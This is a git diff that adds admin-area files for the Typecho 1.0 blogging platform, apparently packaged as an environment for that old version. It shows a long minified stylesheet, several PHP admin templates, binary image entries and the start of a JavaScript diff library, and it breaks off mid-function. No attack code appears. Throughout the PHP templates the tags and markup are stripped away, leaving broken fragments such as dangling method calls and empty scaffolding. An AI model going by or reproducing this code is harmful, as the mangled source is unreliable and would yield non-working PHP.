3px;color:#999;}.browsehappy{border:none;text-align:center;}.popup{display:none;position:absolute;top:0;left:0;margin:0;padding:8px 0;border:none;width:100%;z-index:10;text-align:center;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;}.popup ul{list-style:none;margin:0;padding:0;text-align:center;}.popup ul li{display:inline-block;margin-right:10px;}.loading{padding-left:20px!important;background:transparent url(../img/ajax-loader.gif) no-repeat left center;}.typecho-option{list-style:none;margin:1em 0;padding:0;}.typecho-option-submit li{border-bottom:none;}.typecho-option label.typecho-label{display:block;margin-bottom:.5em;font-weight:bold;}.typecho-option label.required:after{content:" *";color:#B94A48;}.typecho-option span{margin-right:15px;}.typecho-option .description{margin:.5em 0 0;color:#999;font-size:.92857em;}.front-archive{padding-left:1.5em;}.profile-avatar{border:1px dashed #D9D9D6;max-width:100%;}.typecho-install{padding-bottom:2em;}.typecho-install-patch{margin-bottom:2em;padding:2em 0;background-color:#292D33;color:#FFF;text-align:center;}.typecho-install-patch ol{list-style:none;margin:3em 0 1em;padding:0;color:#999;}.typecho-install-patch li{display:inline-block;margin:0 .8em;}.typecho-install-patch span{display:inline-block;margin-right:5px;width:20px;height:20px;line-height:20px;border:2px solid #999;text-align:center;border-radius:2em;}.typecho-install-patch li.current{color:#FFF;font-weight:bold;}.typecho-install-patch li.current span{border-color:#FFF;}.typecho-install .typecho-install-body input{width:100%;}.typecho-install-body .typecho-option li{margin:1em 0;}#typecho-welcome{margin:1em 0;padding:1em 2em;background-color:#E9E9E6;}.welcome-board{color:#999;font-size:1.15em;}.welcome-board em{color:#444;font-size:2em;font-style:normal;font-family:Georgia,serif;}#start-link{margin-bottom:25px;padding:0 0 35px;border-bottom:1px solid #ECECEC;}#start-link li{float:left;margin-right:1.5em;}#start-link .balloon{margin-top:2px;}.latest-link li{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.latest-link span{display:inline-block;margin-right:4px;padding-right:8px;border-right:1px solid #ECECEC;width:37px;text-align:right;color:#999;}.update-check{font-size:14px;}.typecho-login-wrap{display:table;margin:0 auto;height:100%;}.typecho-login{display:table-cell;padding:30px 0 100px;width:280px;text-align:center;vertical-align:middle;}.typecho-login h1{margin:0 0 1em;}.typecho-login .more-link{margin-top:2em;color:#CCC;}.typecho-login .more-link a{margin:0 3px;}.typecho-page-title h2{margin:25px 0 10px;font-size:1.28571em;}.typecho-page-title h2 a{margin-left:10px;padding:3px 8px;background:#E9E9E6;font-size:.8em;border-radius:2px;}.typecho-page-title h2 a:hover{text-decoration:none;}.typecho-dashboard ul{list-style:none;padding:0;}.typecho-dashboard li{margin-bottom:5px;}.typecho-option-tabs{list-style:none;margin:1em 0 0;padding:0;font-size:13px;text-align:center;}.typecho-option-tabs.fix-tabs{margin-bottom:1em;}.typecho-option-tabs a{display:block;margin-right:-1px;border:1px solid #D9D9D6;padding:0 15px;height:26px;line-height:26px;color:#666;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;}.typecho-option-tabs a:hover{background-color:#E9E9E6;color:#666;text-decoration:none;}.typecho-option-tabs li{float:left;}.typecho-option-tabs li:first-child a{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px;border-radius:2px 0 0 2px;}.typecho-option-tabs li:last-child a{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0;border-radius:0 2px 2px 0;}.typecho-option-tabs.right{float:right;}.typecho-option-tabs li.current a,.typecho-option-tabs li.active a{background-color:#E9E9E6;}.typecho-list-operate{margin:1em 0;}.typecho-list-operate input,.typecho-list-operate button,.typecho-list-operate select{vertical-align:bottom;}.typecho-list-operate input[type="checkbox"]{vertical-align:text-top;}.typecho-list-operate .operate{float:left;}.typecho-list-operate .search{float:right;}.typecho-list-operate span.operate-delete,a.operate-delete,.typecho-list-operate span.operate-button-delete,a.operate-button-delete{color:#B94A48;}a.operate-edit{color:#070;}a.operate-reply{color:#545c30;}.typecho-list-operate a:hover{text-decoration:none;}.typecho-list-table-title{margin:1em 0;color:#999;text-align:center;}.typecho-table-wrap{padding:30px;background:#FFF;}.typecho-list-table{width:100%;}.typecho-list-table.deactivate{color:#999;}.typecho-list-table .right{text-align:right;}.typecho-list-table th{padding:0 10px 10px;border-bottom:2px solid #F0F0EC;text-align:left;}.typecho-list-table td{padding:10px;border-top:1px solid #F0F0EC;word-break:break-all;}.typecho-list-table .status{margin-left:5px;color:#999;font-size:.92857em;font-style:normal;}.typecho-list-table tbody tr:hover td{background-color:#F6F6F3;}.typecho-list-table tbody tr.checked td{background-color:#FFF9E8;}.warning{color:#B94A48;}.typecho-list-table tr td .hidden-by-mouse{filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0);opacity:0;}.typecho-list-table tr:hover td .hidden-by-mouse{filter:progid:DXImageTransform.Microsoft.Alpha(enabled=false);opacity:1;}.comment-reply-content{position:relative;margin:1em 0;padding:0 1em;border:1px solid transparent;background-color:#F0F0EC;}.comment-reply-content:after{position:absolute;right:1em;border:8px solid #F0F0EC;border-color:#F0F0EC #F0F0EC transparent transparent;content:" ";}.comment-meta span,.comment-date{font-size:.92857em;color:#999;}.comment-action a,.comment-action span{margin-right:4px;}.comment-edit label{display:block;}#typecho-respond{padding:10px;display:none;}.typecho-theme-list img{margin:1em 0;max-width:100%;max-height:240px;}.typecho-theme-list cite{font-style:normal;color:#999;}.typecho-theme-list tbody tr.current td{background-color:#FFF9E8;}.typecho-page-main .typecho-option input.text{width:100%;}.typecho-page-main .typecho-option input.num{width:40px;}.typecho-page-main .typecho-option textarea{width:100%;height:100px;}.typecho-page-main .typecho-option .multiline{display:block;margin:.3em 0;}.typecho-page-main .typecho-option .multiline.hidden{display:none;}.typecho-select-theme{height:25px;line-height:25px;margin:15px 0;}.typecho-select-theme h5{color:#E47E00;font-weight:bold;float:left;font-size:14px;width:120px;margin-right:10px;}.typecho-select-theme select{width:150px;}.typecho-edit-theme ul{list-style:none;margin:0;padding:0;}.typecho-edit-theme li{padding:3px 10px;}.typecho-edit-theme .current{background-color:#E6E6E3;}.typecho-edit-theme .current a{color:#444;}.typecho-edit-theme textarea{font-size:.92857em;line-height:1.2;height:500px;}.typecho-post-area .edit-draft-notice{color:#999;font-size:.92857em;}.typecho-post-area .edit-draft-notice a{color:#B94A48;}.typecho-post-area .typecho-label{display:block;margin:1em 0 -0.5em;font-weight:bold;}.typecho-post-area #auto-save-message{display:block;margin-top:.5em;color:#999;font-size:.92857em;}.typecho-post-area .submit .right button{margin-left:5px;}.typecho-post-area .right{float:right;padding-left:24px;}.typecho-post-area .left{float:left;}.typecho-post-area .out-date{border:1px solid #D3DBB3;padding:3px;background:#fff;}.typecho-post-area input.title{font-size:1.17em;font-weight:bold;}.typecho-post-area .url-slug{margin-top:-0.5em;color:#AAA;font-size:.92857em;word-break:break-word;}.typecho-post-area #slug{padding:2px;border:none;background:#FFFBCC;color:#666;}.typecho-post-area #text{resize:none;}#advance-panel{display:none;}#custom-field{margin:1em 0;padding:10px 15px;background:#FFF;}#custom-field.fold table,#custom-field.fold .description{display:none;}#custom-field .description{margin-top:10px;text-align:right;}#custom-field .description button{float:left;}#custom-field p.description{text-align:left;}#custom-field .typecho-label{margin:0;}#custom-field .typecho-label a{display:block;color:#444;}#custom-field .typecho-label a:hover{color:#467B96;text-decoration:none;}#custom-field table{margin-top:10px;}#custom-field td{padding:10px 5px;font-size:.92857em;border-bottom:1px solid #F0F0EC;vertical-align:top;}#custom-field td label{font-size:1em;font-weight:normal;}#custom-field select{height:27px;}.typecho-post-area .is-draft{background:#FFF1A8;}.typecho-post-option .description{margin-top:-0.5em;color:#999;font-size:.92857em;}.category-option ul{list-style:none;border:1px solid #D9D9D6;padding:6px 12px;max-height:240px;overflow:auto;background-color:#FFF;border-radius:2px;}.category-option li{margin:3px 0;}.visibility-option ul,.allow-option ul{list-style:none;padding:0;}.typecho-page-main ul.tag-list{list-style:none;margin:0;padding:20px;background-color:#FFF;}.typecho-page-main ul.tag-list li{display:inline-block;margin:0 0 5px 0;padding:5px 5px 5px 10px;cursor:pointer;}.typecho-page-main ul.tag-list li:hover{background-color:#E9E9E6;}.typecho-page-main ul.tag-list li input{display:none;}.typecho-page-main ul.tag-list li.checked{background-color:#FFFBCC;}.typecho-page-main ul.tag-list li.size-5{font-size:1em;}.typecho-page-main ul.tag-list li.size-10{font-size:1.2em;}.typecho-page-main ul.tag-list li.size-20{font-size:1.4em;}.typecho-page-main ul.tag-list li.size-30{font-size:1.6em;}.typecho-page-main ul.tag-list li.size-0{font-size:1.8em;}.typecho-page-main .tag-edit-link{visibility:hidden;}.typecho-page-main li:hover .tag-edit-link{visibility:visible;}.typecho-attachment-photo{border:1px solid #E6E6E3;max-width:100%;}#upload-panel{border:1px dashed #D9D9D6;background-color:#FFF;color:#999;font-size:.92857em;}#upload-panel.drag{background-color:#FFFBCC;}.upload-area{padding:15px;text-align:center;}#file-list{list-style:none;margin:0 10px;padding:0;max-height:450px;overflow:auto;word-break:break-all;}#file-list li,#file-list .insert{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}#file-list li{padding:8px 0;border-top:1px dashed #D9D9D6;}#file-list .insert{display:block;max-width:100%;}#file-list .file{margin-left:5px;}#file-list .info{text-transform:uppercase;}#btn-fullscreen-upload{visibility:hidden;}.edit-media button{margin-right:6px;}.resize{display:block;margin:2px auto 0;padding:2px 0;border:1px solid #D9D9D6;border-width:1px 0;width:60px;cursor:row-resize;}.resize i{display:block;height:1px;background-color:#D9D9D6;}.tDnD_whileDrag{background-color:#FFFBCC;}.i-edit,.i-delete,.i-exlink,.mime-office,.mime-text,.mime-image,.mime-html,.mime-archive,.mime-application,.mime-audio,.mime-script,.mime-video,.mime-unknow,.i-upload,.i-upload-active{display:inline-block;vertical-align:text-bottom;text-indent:-9999em;background-image:url('../img/icons-s0c4f1c5ae6.png');background-repeat:no-repeat;}.i-edit:hover,.i-delete:hover,.i-exlink:hover,.mime-office:hover,.mime-text:hover,.mime-image:hover,.mime-html:hover,.mime-archive:hover,.mime-application:hover,.mime-audio:hover,.mime-script:hover,.mime-video:hover,.mime-unknow:hover,.i-upload:hover,.i-upload-active:hover{filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=75);opacity:.75;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.i-edit,.i-delete,.i-exlink,.mime-office,.mime-text,.mime-image,.mime-html,.mime-archive,.mime-application,.mime-audio,.mime-script,.mime-video,.mime-unknow,.i-upload,.i-upload-active{-moz-background-size:auto 256px;-o-background-size:auto 256px;-webkit-background-size:auto 256px;background-size:auto 256px;background-image:url('../img/icons-2x-s481937020b.png');}}.i-edit,.i-delete,.i-exlink,.mime-office,.mime-text,.mime-image,.mime-html,.mime-archive,.mime-application,.mime-audio,.mime-script,.mime-video,.mime-unknow{width:16px;height:16px;}.i-upload,.i-upload-active{width:24px;height:24px;}.i-edit{background-position:0 -16px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.i-edit{background-position:0 -16px;}}.i-delete{background-position:0 0;}.i-upload{background-position:0 -72px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.i-upload{background-position:0 -72px;}}.i-upload-active{background-position:0 -48px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.i-upload-active{background-position:0 -48px;}}.i-caret-up,.i-caret-down,.i-caret-left,.i-caret-right{display:inline-block;border-style:solid;border-color:transparent transparent #BBB transparent;border-width:3px 4px 5px;}.i-caret-down{border-color:#BBB transparent transparent transparent;border-width:5px 4px 3px;}.i-caret-left{border-color:transparent #BBB transparent transparent;border-width:4px 5px 4px 3px;}.i-caret-right{border-color:transparent transparent transparent #BBB;border-width:4px 3px 4px 5px;}.i-exlink{background-position:0 -32px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.i-exlink{background-position:0 -32px;}}.mime-office{background-position:0 -176px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-office{background-position:0 -176px;}}.mime-text{background-position:0 -208px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-text{background-position:0 -208px;}}.mime-image{background-position:0 -160px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-image{background-position:0 -160px;}}.mime-html{background-position:0 -144px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-html{background-position:0 -144px;}}.mime-archive{background-position:0 -112px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-archive{background-position:0 -112px;}}.mime-application{background-position:0 -96px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-application{background-position:0 -96px;}}.mime-audio{background-position:0 -128px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-audio{background-position:0 -128px;}}.mime-script{background-position:0 -192px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-script{background-position:0 -192px;}}.mime-video{background-position:0 -240px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-video{background-position:0 -240px;}}.mime-unknow{background-position:0 -224px;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){.mime-unknow{background-position:0 -224px;}}.i-logo,.i-logo-s{width:169px;height:40px;display:inline-block;background:url("../img/typecho-logo.svg") no-repeat;text-indent:-9999em;-moz-background-size:auto 40px;-o-background-size:auto 40px;-webkit-background-size:auto 40px;background-size:auto 40px;filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=15);opacity:.15;}.i-logo:hover,.i-logo-s:hover{filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=20);opacity:.2;}.i-logo-s{width:26px;height:26px;-moz-background-size:auto 26px;-o-background-size:auto 26px;-webkit-background-size:auto 26px;background-size:auto 26px;}.editor{margin-bottom:-0.5em;}.wmd-button-row{list-style:none;margin:0;padding:0;height:26px;line-height:1;}.wmd-button-row li{display:inline-block;margin-right:4px;padding:3px;cursor:pointer;vertical-align:middle;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;}.wmd-button-row li:hover{background-color:#E9E9E6;}.wmd-button-row li.wmd-spacer{height:20px;margin:0 10px 0 6px;padding:0;width:1px;background:#E9E9E6;cursor:default;}#wmd-button-row span{display:block;width:20px;height:20px;background:transparent url(../img/editor.png) no-repeat;}@media(-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){#wmd-button-row span{background-image:url(../img/editor@2x.png);-moz-background-size:320px auto;-o-background-size:320px auto;-webkit-background-size:320px auto;background-size:320px auto;}}.wmd-edittab{float:right;margin-top:3px;font-size:.92857em;}.wmd-edittab a{display:inline-block;padding:0 8px;margin-left:5px;height:20px;line-height:20px;}.wmd-edittab a:hover{text-decoration:none;}.wmd-edittab a.active{background:#E9E9E6;color:#999;}.wmd-hidetab{display:none;}.wmd-visualhide{visibility:hidden;}.wmd-prompt-background{background-color:#000;}.wmd-prompt-dialog{position:fixed;z-index:1001;top:50%;left:50%;margin-top:-95px;margin-left:-200px;padding:20px;width:360px;background:#F6F6F3;}.wmd-prompt-dialog p{margin:0 0 5px;}.wmd-prompt-dialog form{margin-top:10px;}.wmd-prompt-dialog input[type="text"]{margin-bottom:10px;width:100%;}.wmd-prompt-dialog button{margin-right:10px;}#wmd-preview{background:#FFF;margin:1em 0;padding:0 15px;word-wrap:break-word;overflow:auto;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;}#wmd-preview img{max-width:100%;}#wmd-preview code,#wmd-preview pre{padding:2px 4px;background:#F3F3F0;font-size:.92857em;}#wmd-preview code{color:#C13;}#wmd-preview pre{padding:1em;}#wmd-preview pre code{padding:0;color:#444;}#wmd-preview blockquote{margin:1em 1.5em;padding-left:1.5em;border-left:4px solid #E9E9E6;color:#777;}#wmd-preview hr{margin:2em auto;width:100px;border:1px solid #E9E9E6;border-width:2px 0 0 0;}#wmd-preview .summary:after{display:block;margin:2em 0;background:#FFF9E8;color:#ce9900;font-size:.85714em;text-align:center;content:"- more -";}@keyframes fullscreen-upload{0%{right:-280px;}100%{right:-1px;}}@-moz-keyframes fullscreen-upload{0%{right:-280px;}100%{right:-1px;}}@-webkit-keyframes fullscreen-upload{0%{right:-280px;}100%{right:-1px;}}@-o-keyframes fullscreen-upload{0%{right:-280px;}100%{right:-1px;}}.fullscreen #wmd-button-bar,.fullscreen #text,.fullscreen #wmd-preview,.fullscreen .submit{position:absolute;top:0;width:50%;background:#FFF;z-index:999;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;}.fullscreen #wmd-button-bar{left:0;padding:13px 20px;border-bottom:1px solid #F3F3F0;z-index:1000;}.fullscreen #text{top:53px;left:0;padding:20px;border:none;outline:none;}.fullscreen #wmd-preview{top:53px;right:0;margin:0;padding:5px 20px;border:none;border-left:1px solid #F3F3F0;background:#F6F6F3;overflow:auto;}.fullscreen #wmd-preview code,.fullscreen #wmd-preview pre{background:#F0F0EC;}.fullscreen .submit{right:0;margin:0;padding:10px 20px;border-bottom:1px solid #F3F3F0;}.fullscreen #upload-panel{-webkit-box-shadow:0 4px 16px rgba(0,0,0,0.225);box-shadow:0 4px 16px rgba(0,0,0,0.225);border-style:solid;}.fullscreen #tab-files{position:absolute;top:52px;right:-1px;width:280px;z-index:1001;animation:fullscreen-upload .5s;-moz-animation:fullscreen-upload .5s;-webkit-animation:fullscreen-upload .5s;-o-animation:fullscreen-upload .5s;}.fullscreen .wmd-edittab,.fullscreen .typecho-post-option,.fullscreen .title,.fullscreen .url-slug,.fullscreen .typecho-page-title,.fullscreen .typecho-head-nav,.fullscreen .message{display:none;}.fullscreen .wmd-hidetab{display:block;}.fullscreen .wmd-visualhide,.fullscreen #btn-fullscreen-upload{visibility:visible;}#ui-datepicker-div{display:none;margin-top:-1px;padding:10px;border:1px solid #D9D9D6;background:#FFF;}.ui-timepicker-div .ui-widget-header{margin-bottom:8px;}.ui-timepicker-div dl{text-align:left;}.ui-timepicker-div dl dt{float:left;clear:left;}.ui-timepicker-div dl dd{margin:0 0 10px 40%;}.ui-tpicker-grid-label{background:none;border:none;margin:0;padding:0;}#ui-datepicker-div .ui-datepicker-header{margin-bottom:10px;padding-bottom:10px;border-bottom:1px solid #EEE;}#ui-datepicker-div .ui-datepicker-prev{float:left;cursor:pointer;}#ui-datepicker-div .ui-datepicker-next{float:right;cursor:pointer;}#ui-datepicker-div .ui-datepicker-title{font-weight:bold;text-align:center;}#ui-datepicker-div .ui-datepicker-calendar th{line-height:24px;}#ui-datepicker-div .ui-datepicker-calendar a{display:block;width:30px;background-color:#F3F3F0;line-height:24px;text-align:center;}#ui-datepicker-div .ui-datepicker-calendar a:hover{background-color:#E9E9E6;text-decoration:none;}#ui-datepicker-div .ui-datepicker-today a{background-color:#E9E9E6;color:#444;}#ui-datepicker-div .ui-datepicker-current-day a{background-color:#467B96!important;color:#FFF;}#ui-datepicker-div .ui-timepicker-div{margin-top:20px;border-top:1px solid #EEE;}#ui-datepicker-div .ui-slider{position:relative;margin-top:18px;border:1px solid #E9E9E6;background-color:#F6F6F3;height:4px;}#ui-datepicker-div .ui-slider .ui-slider-handle{position:absolute;top:-7px;margin-left:-5px;z-index:2;width:10px;height:16px;background-color:#467B96;}#ui-datepicker-div .ui-datepicker-buttonpane{padding-top:10px;border-top:1px solid #EEE;}#ui-datepicker-div .ui-datepicker-current,#ui-datepicker-div .ui-datepicker-close{float:left;}#ui-datepicker-div .ui-datepicker-close{float:right;}.ui-effects-transfer{border:2px dotted #ccc;}ul.token-input-list{list-style:none;margin:0;padding:0 4px;min-height:32px;border:1px solid #D9D9D6;cursor:text;z-index:999;background-color:#FFF;clear:left;border-radius:2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}ul.token-input-list li{margin:4px 0;}ul.token-input-list li input{padding:0;border:0;width:100%;-webkit-appearance:caret;}li.token-input-token{padding:0 6px;height:27px;line-height:27px;background-color:#F3F3F0;cursor:default;font-size:.92857em;text-align:right;white-space:nowrap;}li.token-input-token p{float:left;display:inline;margin:0;}li.token-input-token span{color:#BBB;font-weight:bold;cursor:pointer;}li.token-input-selected-token{background-color:#E9E9E6;}li.token-input-input-token{padding:0 4px;}div.token-input-dropdown{position:absolute;background-color:#FFF;overflow:hidden;border:1px solid #D9D9D6;border-top-width:0;cursor:default;z-index:1;font-size:.92857em;}div.token-input-dropdown p{margin:0;padding:5px 10px;color:#777;font-weight:bold;}div.token-input-dropdown ul{list-style:none;margin:0;padding:0;}div.token-input-dropdown ul li{padding:4px 10px;background-color:#FFF;}div.token-input-dropdown ul li.token-input-dropdown-item{background-color:#FFF;}div.token-input-dropdown ul li em{font-style:normal;}div.token-input-dropdown ul li.token-input-selected-dropdown-item{background-color:#467B96;color:#FFF;}.hidden{display:none;}.sr-only{border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.sr-only.focusable:active,.sr-only.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto;}.invisible{visibility:hidden;} \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/admin/custom-fields-js.php b/Typecho/1.0/php-fpm/src/admin/custom-fields-js.php new file mode 100755 index 000000000..b1011f72b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/custom-fields-js.php @@ -0,0 +1,44 @@ + + diff --git a/Typecho/1.0/php-fpm/src/admin/custom-fields.php b/Typecho/1.0/php-fpm/src/admin/custom-fields.php new file mode 100755 index 000000000..6fd85b273 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/custom-fields.php @@ -0,0 +1,73 @@ + +getFieldItems() : $page->getFieldItems(); +$defaultFields = isset($post) ? $post->getDefaultFieldItems() : $page->getDefaultFieldItems(); +?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
render(); ?>render(); ?>
+ + + + + + + + + + +
+ + + + + + + + + + +
+
+ + 帮助文档'); ?> +
+
diff --git a/Typecho/1.0/php-fpm/src/admin/editor-js.php b/Typecho/1.0/php-fpm/src/admin/editor-js.php new file mode 100755 index 000000000..949305c12 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/editor-js.php @@ -0,0 +1,330 @@ + +markdown): ?> + + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/extending.php b/Typecho/1.0/php-fpm/src/admin/extending.php new file mode 100755 index 000000000..be228ef0c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/extending.php @@ -0,0 +1,13 @@ +get('panel'); +$panelTable = unserialize($options->panelTable); + +if (!isset($panelTable['file']) || !in_array(urlencode($panel), $panelTable['file'])) { + throw new Typecho_Plugin_Exception(_t('页面不存在'), 404); +} + +list ($pluginName, $file) = explode('/', trim($panel, '/'), 2); + +require_once $options->pluginDir($pluginName) . '/' . $panel; diff --git a/Typecho/1.0/php-fpm/src/admin/file-upload-js.php b/Typecho/1.0/php-fpm/src/admin/file-upload-js.php new file mode 100755 index 000000000..133dde311 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/file-upload-js.php @@ -0,0 +1,208 @@ + +have()) { + $fileParentContent = $post; +} else if (isset($page) && $page instanceof Typecho_Widget && $page->have()) { + $fileParentContent = $page; +} + +$phpMaxFilesize = function_exists('ini_get') ? trim(ini_get('upload_max_filesize')) : 0; + +if (preg_match("/^([0-9]+)([a-z]{1,2})$/i", $phpMaxFilesize, $matches)) { + $phpMaxFilesize = strtolower($matches[1] . $matches[2] . (1 == strlen($matches[2]) ? 'b' : '')); +} +?> + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/file-upload.php b/Typecho/1.0/php-fpm/src/admin/file-upload.php new file mode 100755 index 000000000..d2760945e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/file-upload.php @@ -0,0 +1,30 @@ + + +cid : $page->cid; + + if ($cid) { + Typecho_Widget::widget('Widget_Contents_Attachment_Related', 'parentId=' . $cid)->to($attachment); + } else { + Typecho_Widget::widget('Widget_Contents_Attachment_Unattached')->to($attachment); + } +} +?> + +
+
或者 %s选择文件上传%s', '', ''); ?>
+
    + next()): ?> +
  • + title(); ?> +
    + attachment->size / 1024)); ?> Kb + + +
    +
  • + +
+
+ diff --git a/Typecho/1.0/php-fpm/src/admin/footer.php b/Typecho/1.0/php-fpm/src/admin/footer.php new file mode 100755 index 000000000..57c0084e2 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/footer.php @@ -0,0 +1,6 @@ + + + +end(); diff --git a/Typecho/1.0/php-fpm/src/admin/form-js.php b/Typecho/1.0/php-fpm/src/admin/form-js.php new file mode 100755 index 000000000..7c52d694c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/form-js.php @@ -0,0 +1,26 @@ + + diff --git a/Typecho/1.0/php-fpm/src/admin/header.php b/Typecho/1.0/php-fpm/src/admin/header.php new file mode 100755 index 000000000..50e3c6ef6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/header.php @@ -0,0 +1,31 @@ +adminStaticUrl('css')) . '"> + + +'; + +/** 注册一个初始化插件 */ +$header = Typecho_Plugin::factory('admin/header.php')->header($header); + +?> + + + + + + + <?php _e('%s - %s - Powered by Typecho', $menu->title, $options->title); ?> + + + + > + diff --git a/Typecho/1.0/php-fpm/src/admin/img/ajax-loader.gif b/Typecho/1.0/php-fpm/src/admin/img/ajax-loader.gif new file mode 100755 index 000000000..32666dadf Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/ajax-loader.gif differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/editor.png b/Typecho/1.0/php-fpm/src/admin/img/editor.png new file mode 100755 index 000000000..aeee188c6 Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/editor.png differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/editor@2x.png b/Typecho/1.0/php-fpm/src/admin/img/editor@2x.png new file mode 100755 index 000000000..b361ff6ec Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/editor@2x.png differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/icons-2x-s481937020b.png b/Typecho/1.0/php-fpm/src/admin/img/icons-2x-s481937020b.png new file mode 100755 index 000000000..f887f62ae Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/icons-2x-s481937020b.png differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/icons-s0c4f1c5ae6.png b/Typecho/1.0/php-fpm/src/admin/img/icons-s0c4f1c5ae6.png new file mode 100755 index 000000000..b82a6daa9 Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/icons-s0c4f1c5ae6.png differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/noscreen.png b/Typecho/1.0/php-fpm/src/admin/img/noscreen.png new file mode 100755 index 000000000..67b7a6a84 Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/img/noscreen.png differ diff --git a/Typecho/1.0/php-fpm/src/admin/img/typecho-logo.svg b/Typecho/1.0/php-fpm/src/admin/img/typecho-logo.svg new file mode 100755 index 000000000..b447bb51b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/img/typecho-logo.svg @@ -0,0 +1,10 @@ + + + typecho-logo + Created with Sketch (http://www.bohemiancoding.com/sketch) + + + + + + \ No newline at end of file diff --git a/Typecho/1.0/php-fpm/src/admin/index.php b/Typecho/1.0/php-fpm/src/admin/index.php new file mode 100755 index 000000000..1ee87fc27 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/index.php @@ -0,0 +1,159 @@ + +
+
+ +
+
+

%s 篇文章, 并有 %s 条关于你的评论在 %s 个分类中.', + $stat->myPublishedPostsNum, $stat->myPublishedCommentsNum, $stat->categoriesNum); ?> +

+ + + + +
+

+ → + +

+
+ +
+ + + + + + +
+
+
+ + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/js/Moxie.swf b/Typecho/1.0/php-fpm/src/admin/js/Moxie.swf new file mode 100755 index 000000000..6493572bd Binary files /dev/null and b/Typecho/1.0/php-fpm/src/admin/js/Moxie.swf differ diff --git a/Typecho/1.0/php-fpm/src/admin/js/diff.js b/Typecho/1.0/php-fpm/src/admin/js/diff.js new file mode 100755 index 000000000..e028122d6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/js/diff.js @@ -0,0 +1 @@ +function diff_match_patch(){this.Diff_Timeout=1;this.Diff_EditCost=4;this.Match_Threshold=0.5;this.Match_Distance=1000;this.Patch_DeleteThreshold=0.5;this.Patch_Margin=4;this.Match_MaxBits=32}var DIFF_DELETE=-1;var DIFF_INSERT=1;var DIFF_EQUAL=0;diff_match_patch.Diff;diff_match_patch.prototype.diff_main=function(b,a,d,f){if(typeof f=="undefined"){if(this.Diff_Timeout<=0){f=Number.MAX_VALUE}else{f=(new Date).getTime()+this.Diff_Timeout*1000}}var i=f;if(b==null||a==null){throw new Error("Null input. (diff_main)")}if(b==a){if(b){return[[DIFF_EQUAL,b]]}return[]}if(typeof d=="undefined"){d=true}var j=d;var e=this.diff_commonPrefix(b,a);var h=b.substring(0,e);b=b.substring(e);a=a.substring(e);e=this.diff_commonSuffix(b,a);var c=b.substring(b.length-e);b=b.substring(0,b.length-e);a=a.substring(0,a.length-e);var g=this.diff_compute_(b,a,j,i);if(h){g.unshift([DIFF_EQUAL,h])}if(c){g.push([DIFF_EQUAL,c])}this.diff_cleanupMerge(g);return g};diff_match_patch.prototype.diff_compute_=function(c,b,q,p){var j;if(!c){return[[DIFF_INSERT,b]]}if(!b){return[[DIFF_DELETE,c]]}var m=c.length>b.length?c:b;var d=c.length>b.length?b:c;var 